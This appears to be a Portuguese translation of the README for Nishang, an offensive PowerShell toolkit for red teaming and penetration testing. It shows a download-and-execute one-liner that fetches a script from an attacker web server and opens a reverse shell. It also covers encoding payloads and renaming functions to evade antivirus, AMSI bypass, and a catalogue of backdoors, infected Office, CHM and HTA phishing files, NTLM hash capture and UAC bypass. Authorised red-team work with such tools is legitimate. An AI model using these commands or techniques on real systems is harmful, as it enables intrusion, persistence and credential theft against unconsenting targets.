
Nishang - PowerShell ofensivo para red team, testes de penetração e segurança ofensiva.
Por Nikhil Mittal Fundador da Altered Security - Treinamento prático em red team e segurança empresarial!
Importe todos os scripts na sessão atual do PowerShell (PowerShell v3 em diante).
PS C:\nishang> Import-Module .\nishang.psm1
Use os scripts individualmente com dot sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
Para obter ajuda sobre qualquer script ou função, use:
PS C:\nishang> Get-Help [scriptname] -full
Observe que a ajuda está disponível para a função carregada após executar o script, e não para o script em si, desde a versão 0.3.8. Em todos os casos, o nome da função é o mesmo que o nome do script.
Por exemplo, para ver a ajuda sobre Get-WLAN-Keys.ps1, use
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Os scripts do Nishang são sinalizados por muitos antivírus como maliciosos. Os scripts em um alvo devem ser usados na memória, o que é muito fácil de fazer com o PowerShell. Dois métodos básicos para executar scripts PowerShell na memória:
Método 1. Use o download e execução na memória: Use o comando abaixo para executar um script PowerShell a partir de um shell remoto, shell nativo do meterpreter, um web shell etc., e a função exportada por ele. Todos os scripts do Nishang exportam uma função com o mesmo nome na sessão atual do PowerShell.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
Método 2. Use o parâmetro -encodedcommand (ou -e) do PowerShell
Todos os scripts do Nishang exportam uma função com o mesmo nome na sessão atual do PowerShell. Portanto, certifique-se de que a chamada da função seja feita no próprio script ao usar o parâmetro encodedcommand de um shell não PowerShell. Para o exemplo acima, adicione uma chamada de função (sem aspas) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
Codifique o script usando Invoke-Encode do Nishang:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
Dados codificados gravados em .\encoded.txt
Comando codificado gravado em .\encodedcommand.txt
A partir disso, use o script codificado de encodedcommand.txt e execute-o em um alvo onde comandos possam ser executados (um shell remoto, shell nativo do meterpreter, um web shell, etc.). Use da seguinte forma:
C:\Users\target> powershell -e [encodedscript]
Se os scripts ainda forem detectados, alterar os nomes das funções e parâmetros e remover o conteúdo de ajuda ajudará.
Caso o AMSI do Windows 10 ainda esteja bloqueando a execução do script, veja este blog: http://www.labofapenetrationtester.com/2016/09/amsi.html
O Nishang atualmente contém os seguintes scripts e payloads.
Modifique objetos do AD para fornecer permissões mínimas necessárias para DCShadow.
Execute scripts PowerShell na memória, execute comandos e faça download e upload de arquivos usando este webshell.
Um backdoor que pode receber instruções de sites de terceiros e executar scripts PowerShell na memória.
Um backdoor que pode receber comandos e scripts PowerShell de consultas DNS TXT, executá-los em um alvo e ser controlado remotamente usando as consultas.
Um backdoor que pode executar scripts PowerShell em um horário determinado em um alvo.
Um backdoor que pode receber comandos e scripts de um SSID de WLAN sem se conectar a ele.
Um backdoor que pode usar o protetor de tela do Windows para execução remota de comandos e scripts.
Um backdoor que pode usar fluxos de dados alternativos e o Registro do Windows para obter persistência.
Um backdoor que usa o conhecido truque do Debugger para executar payload com Sticky keys e Utilman (Windows key + U).
Modifique permissões de namespaces DCOM e WMI para permitir acesso a um usuário não administrador.
Modifique permissões do PowerShell remoting para permitir acesso a um usuário não administrador.
Implementação de métodos publicamente conhecidos para contornar/evitar AMSI.
Crie arquivos CHM infectados que podem executar comandos e scripts PowerShell.
Crie arquivos Word e infecte os existentes para executar comandos e scripts PowerShell.
Crie arquivos Excel e infecte os existentes para executar comandos e scripts PowerShell.
Crie um arquivo HTA que pode ser implantado em um servidor web e usado em campanhas de phishing.
Crie arquivos JAR assinados que podem ser usados com applets para execução de scripts e comandos.
Crie arquivos de atalho capazes de executar comandos e scripts PowerShell.
Crie arquivos IQY para phishing de credenciais e hashes SMB.
Crie arquivos JS capazes de executar comandos e scripts PowerShell.
Crie arquivos SCT capazes de executar comandos e scripts PowerShell.
Crie um arquivo SCF que pode ser usado para capturar desafios de hash NTLM.
Quando privilégios de SYSTEM são necessários.
Introduza vulnerabilidades removendo patches.
Bypass UAC.